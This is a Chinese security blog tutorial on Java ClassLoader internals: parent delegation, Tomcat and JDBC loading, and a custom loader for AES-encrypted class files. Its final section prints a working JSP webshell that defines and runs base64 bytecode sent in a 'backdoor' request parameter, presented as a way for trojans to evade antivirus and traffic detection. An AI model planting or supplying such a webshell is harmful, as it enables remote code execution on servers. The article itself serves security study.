Java安全——JVM类加载器

阅读量    180422 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

Java类加载机制在Java安全知识体系中有着非常重要的地位,早在之前分析Shiro反序列化漏洞利用,以及学习蚁剑Java马,都和Java ClassLoader打过交道。笔者打算从把ClassLoader的原理、使用场景、自定义方式等多个方面剖析类加载器在Java安全中设计到的知识。

 

0x01 ClassLoader 简介

Java语言需要把代码编译成class文件,才能用JVM加载执行,那么ClassLoader就是负责将class文件加载到内存,生成对应的类。

0x1 ClassLoader类加载流程

从上图中可以看出ClassLoader的主要职能,将字节流加载到内存,并使用defineClass加载到JVM生成可以被调用的类。Java源码编译之后生成对应的字节码,字节码的存储形式不只局限于文件,还可以使用访问数据库,URL请求的方式进行获取。存储的字节码还可以使用加密算法进行加密,提高存储安全性。

0x2 常见类加载方式

在之前的《Shiro 反序列化漏洞的一些思考》文章中有提到,两种常见的类加载方式。

1.Class.forName 不能加载原生类型,但其他类型都是支持的
2.Classloader.loadclass 不能加载原生类型和数组类型,其他类型都是支持的

这两种类加载方式虽然在实际过程中有着区别,但是其底层都是使用ClassLoader实现类加载机制的。ClassLoader的加载原理并不复杂,相对复杂的是ClassLoader逻辑父节点和真实父类概念上的理解。逻辑父节点是为了双亲委派机制设计的,这样在类加载的时候可以通过parent属性找到上级ClassLoader进行加载。

0x3 获取ClassLoader

ClassLoader loader = null;
loader = Thread.currentThread().getContextClassLoader();//通过当前线程获取
loader = ClassLoader.getSystemClassLoader();
loader = this.getClass().getClassLoader();//通过已加载class获取

大多数时候采用第一种方式获取ClassLoader,有时第三种方式会获取的值为null

 

0x02 ClassLoader 类关系及类结构

笔者本小节主要介绍ClassLoader的类结构以及类关系,ClassLoader在代码实现上是抽象类。这就意味着在程序中ClassLoader应该有很多的子类,那么ClassLoader及其子类中有什么关键类方法和类属性,在这一小节中进行介绍。

0x1 类关系

类关系问题第一次遇到还是在分析Shiro反序列化的时候,当时使用Tomcat容器启动的Shiro应用,在具体调试过程中发现WebappClassLoaderBase这个Classloader子类继承了URLClassLoader,一开始对于这种想象是不能够理解的。于是对ClassLoader、URLClassLoader、AppClassLoader等概念产生了混淆,笔者根据之前师傅们的研究总结了他们之间的关系,如下图所示

URLClassLoader是类加载机制双亲委托机制中最靠近子类的父类。ExtClassLoader、AppClassLoader、WebappClassLoaderBase等都继承自URLClassLoader。

public class Mytest{
    public static void main(String[] arg){
        ClassLoader classloader  = Mytest.class.getClassLoader(); 
        System.out.println(classloader); 
        ClassLoader classloader1 = classloader.getParent();   
        System.out.println(classloader1);
        ClassLoader classloader2 = classloader1.getParent();
        System.out.println(classloader2);
    }
}

运行结果如下所示,我们可以发现ExtClassLoader的父类加载器为null,原因是BootStrapClassLoader由C实现,无法载Java代码中体现其类之间的关系,但是在实际使用过程中ExtClassLoader确实会委托顶级类加载器BootStrapClassLoader进行类加载,代码实现如下

查看ClassLoader类中的loadClass方法,其中有一块逻辑判断了parent是否为null,如果为null就直接调用findBootstrapClassOrNull方法。

0x2 类方法及属性

在ClassLoader及其子类中有几个比较重要的方法以及属性。ClassLoader中主要实现了loadClass方法,该方法采用双亲委派机制。

public abstract class ClassLoader {
    private final ClassLoader parent;
    public Class<?> loadClass(String name) throws ClassNotFoundException {}
    protected Class<?> findClass(String name) throws ClassNotFoundException {}
    protected final Class<?> findLoadedClass(String name) {}
    protected final Class<?> defineClass(byte[] b, int off, int len){}
    protected final void resolveClass(Class<?> c) {}

}

1.loadClass(String)方法加载指定的类,不建议用户重写
2.findLoadedClass(String) 方法检查这个类是否被加载过
3.findClass(String) 方法用来加载类
4.defineClass(byte[] b,int off,int len)方法是用来将byte字节流解析成JVM能够识别的Class对象
5.resolveClass(Class) 方法用来链接指定的类,主要是对字节码进行验证,为类变量分配内存并设置初始值同时将字节码文件中的符号引用转换为直接引用

public class URLClassLoader extends SecureClassLoader implements Closeable {
    private final URLClassPath ucp;
}

URLClassLoader类中的ucp属性一般存放类加载路径,在双亲委派机制中每一个ClassLoader类都会对应它负责的加载路径。再者比较重要的是ClassLoader类中的关于类加载的方法。

 

0x03 双亲委派机制

双亲委派机制是Java类加载的核心,该机制一定程度的保证了类加载的安全性。简单来讲这个机制就是“当有载入类的需求时,类加载器会先请示父加载器帮忙载入,如果没有父加载器那么就使用BootStrapClassLoader进行加载,如果所有的父加载器都找不到对应的类,那么才由自己依照自己的搜索路径搜索类,如果还是搜索不到,则抛出ClassNotFoundException

0x1 双亲委派结构

在Java JDK中的类加载器结构如下图所示,BootstrapClassLoader为根加载器、ExtClassLoader为扩展类加载器、AppClassLoader为应用类加载器。其结构如下所示,需要注意的是他们这几个类之间的关系为依赖关系,并不是继承关系。

其中User1ClassLoader可以为应用自己设计的类加载器,并设置AppClassLoader为父加载器,这样就可以使用双亲委派机制。

0x2 代码实现

那么关于双亲委派机制代码上的实现也很简单,根据功能描述写对应的if else分支即可。一般在ClassLoader子类中

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) { //判断是否已经加载该类
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {//如果有父类,尝试让父类去加载
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);//如果没有父类,尝试使用根装载器加载
                    }
                } catch (ClassNotFoundException e) {   }
                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);//这块需要自定义,比如自己写的类装载器就可以在这里实现类装载功能
                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);//链接已经装载的类
            }
            return c;
        }
    }

 

0x04 自定义类加载器

同一个类代码如果被不同的类加载器加载,那么在当前JVM中他们是两个不同的类。

0x1 遵循双亲委派机制

1.继承java.lang.ClassLoader
2.重写父类的findClass方法

loadClass方法已经实现了双亲委派功能,如果我们再去覆盖loadClass函数就会破坏双亲委派机制。并且JDK已经在loadClass方法中帮我们实现了ClassLoader搜索类的算法,当在loadClass方法中搜索不到类时,loadClass方法就会调用findClass方法来搜索类,所以我们只需重写该方法即可。

0x2 破坏双亲委派机制

双亲委派机制主要依赖于ClassLoader类中的loadclass函数实现逻辑,如果直接在子类中重写loadClass方法,就可以破坏双亲委派机制。目前存在的一些组件,其类加载机制不符合双亲委派也很正常。那么可能有小伙伴就很迷糊了,到底是要遵守还是要破坏呢?应该根据需求,特殊情况特殊对待,大佬们也总结过几种应用场景,梳理如下

1. Tomcat类加载机制

首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器。
Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

2. OSGI模块化加载机制

不再是双亲委派的树桩结构,而是网状结构,没有固定的委派模型,只有具体使用某个package或者class时,根据package的导入导出的定义来构造bundle之间的委派和依赖。这块内容也打算单独写,vCenter部署及类加机制很大程度上依赖该技术,这里先挖个坑。

3. JDBC类加载机制

这里双亲委派的缺点是父加载器无法使用子加载器加载需要的类,这个使用场景就在JDBC中出现了。
以往JDBC的核心类在rt.jar中,由根加载器加载,然而现在核心类在不同厂商实现的jar包中,根据类加载机制,如果A类调用B类,则B类由A类的加载器加载,这也就意味着根加载器要加载jar包下的类,很显然这一操作违背了双亲委派机制。
为了让父加载器调用子加载器加载需要的类,JDBC使用了Thread.currentThread().getContextClassLoader()得到线程上下文加载器来加载Driver实现类。

0x3 加载加密字节码

为了更深入的了解ClassLoader的工作流程,打算自己写一个加载Class密文件。首先编写加解密函数,将编译好的class文件通过encryptfile函数加密。

package myclassloadertest;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;

public class FileUtils {
    private static final int ZERO = 0;
    private static final int ONE = 1;
    private static String derectory ;
    private  static String key = "aaaabbbbccccdddd";
    private  static String ivParameter = "AAAABBBBCCCCDDDD";
    public FileUtils (String path){
        derectory = path;
    }

    public static byte[] doFile(int code, File file, String key, String ivParameterm, String filename) throws Exception {
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(
                file));
        byte[] bytIn = new byte[(int) file.length()];
        bis.read(bytIn);
        bis.close();
        byte[] raw = key.getBytes("ASCII");
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        IvParameterSpec iv = new IvParameterSpec(ivParameterm.getBytes());
        if (0 == code) {
            cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
        } else if (1 == code) {
            cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);
        }
        byte[] bytOut = cipher.doFinal(bytIn);
        File outfile = new File(derectory + "/" + filename);
        BufferedOutputStream bos = new BufferedOutputStream(
                new FileOutputStream(outfile));
        bos.write(bytOut);
        bos.close();
        return bytOut;
    }
    public static void encryptfile(File file, String key, String ivParameter, String filename) throws Exception {
        doFile(ZERO, file, key, ivParameter, filename);
    }
    public static byte[] decryptfile(File file, String key, String ivParameter, String filename) throws Exception {
        return  doFile(ONE, file, key, ivParameter, filename);
    }
    public static byte[] loadfile(String name) throws Exception {
        File file = new File(derectory + name.replace('.', '/') + ".class");
        return decryptfile(file, key, ivParameter, "decrypt_tmp_file");
    }
    public static void main(String[] args) {

        try {
            File file = new File(derectory + "myclassloadertest/Test.class");
            String fileName = "myclassloadertest/TestCrypt.class";
            encryptfile(file, key, ivParameter, fileName);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

自己编写的classloader只需要使用其中loadfile函数就可以找到文件并自动解密。自定义ClassLoader代码如下

package myclassloadertest;

public class MyClassLoader extends ClassLoader{
    private FileUtils fu;
    public static void main(String[] args) throws ClassNotFoundException {
        ClassLoader classloader=new MyClassLoader("mypath");
        Class<?> classx =  classloader.loadClass("myclassloadertest.Test");

        System.out.println(classx);
    }
    public  MyClassLoader(String path){
        fu = new FileUtils(path);
    }

    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(name);
        if (c != null) {
            return c;
        } else {
            ClassLoader parent = this.getParent();//获取父装载器
            if (parent != null){
                try {
                    c = parent.loadClass(name);//实现双亲委派机制
                }catch (ClassNotFoundException x){}

            }

            if(c == null){
                try {
                     byte[] classData = fu.loadfile(name);//获取字节码
                    c = defineClass(name,classData,0,classData.length);//加载类
                    return c;
                } catch (Exception e) {
                    e.printStackTrace();
                }
              }
        }
        return c;
    }
}

在实验的过程中要将原来的Test.java删除,这样JDK AppClassLoader就找不到Test类,从而使用FileUtils加载密文件。自定义的ClassLoader也有parent节点,这是因为在初始化加载器的时候会调用父类ClassLoader中的构造方法,该方法中包含着parent属性赋值等操作,如下图所示

那么定义过自己的类加载器后,加载器之间的关系如下所示,MyClassLoader指定了自己的父加载器为当前类的加载器。

 

0x05 类加载器在冰蝎、 蚁剑木马中的应用

在网络安全领域中类加载器也发挥着重要的作用,ClassLoader加载字节码的功能可以有效的绕过静态查杀和流量查杀。

由于一句话木马的历史悠久,对一句话木马的防护也多种多样。市面上也出现了很多安全防护机制,一类基于文件特征码检测;另外一类基于网络流量特征检测。

如果单纯的依靠一句话木马进行控守和命令执行,流量特征较为单一,比较容易识别。流量加密虽然能够绕过网络流量监测,但是木马目标上落地后因其代码特征很容易被查杀软件杀掉。

因此可以使用ClassLoader的动态加载字节码的功能,让无害功能落地,动态的加载来自网络中的加密字节码。既能绕过流量监测,也能绕过杀软查杀。其中用到的类加载器功能较为简单,只需调用defineClass加载解析字节码即可。

<%@ page import="sun.misc.BASE64Decoder" %>
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b){
            return super.defineClass(b,0,b.length);
        }
    }
    BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
    String cls=request.getParameter("backdoor");
    if(cls!=null){
    new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
    }
%>

上述代码定义了U类加载器,收到来自http协议中backdoor参数数据后使用g方法加载,并通过newInstance的方式创建对象后调用equals方法。关于木马如何使用相对来说更简单了,只需要编写一个恶意类,实现equals方法,该方法中包含要执行的代码。具体可参考https://xz.aliyun.com/t/7491

 

总结

通过系统的学习ClassLoader源码及应用,解决了之前在分析Shiro等反序列化漏洞以及木马编写中遇到的一些问题。自己编写过自定义类加载器,使得笔者对双亲委派机制有了更深刻的理解。写到这里之前挖的类加载器的坑就这么给填平了,如有问题多多指正。

 

参考文章

https://www.geekby.site/2021/08/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-4/
https://xz.aliyun.com/t/9050
https://zhuanlan.zhihu.com/p/31182000
https://xz.aliyun.com/t/9002
https://paper.seebug.org/1441/
https://xz.aliyun.com/t/7228
https://xz.aliyun.com/t/7491
https://blog.csdn.net/javazejian/article/details/73413292
https://blog.csdn.net/huzecom/article/details/105232922
https://www.cnblogs.com/hollischuang/p/14260801.html
https://www.jianshu.com/p/09f73af48a98

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多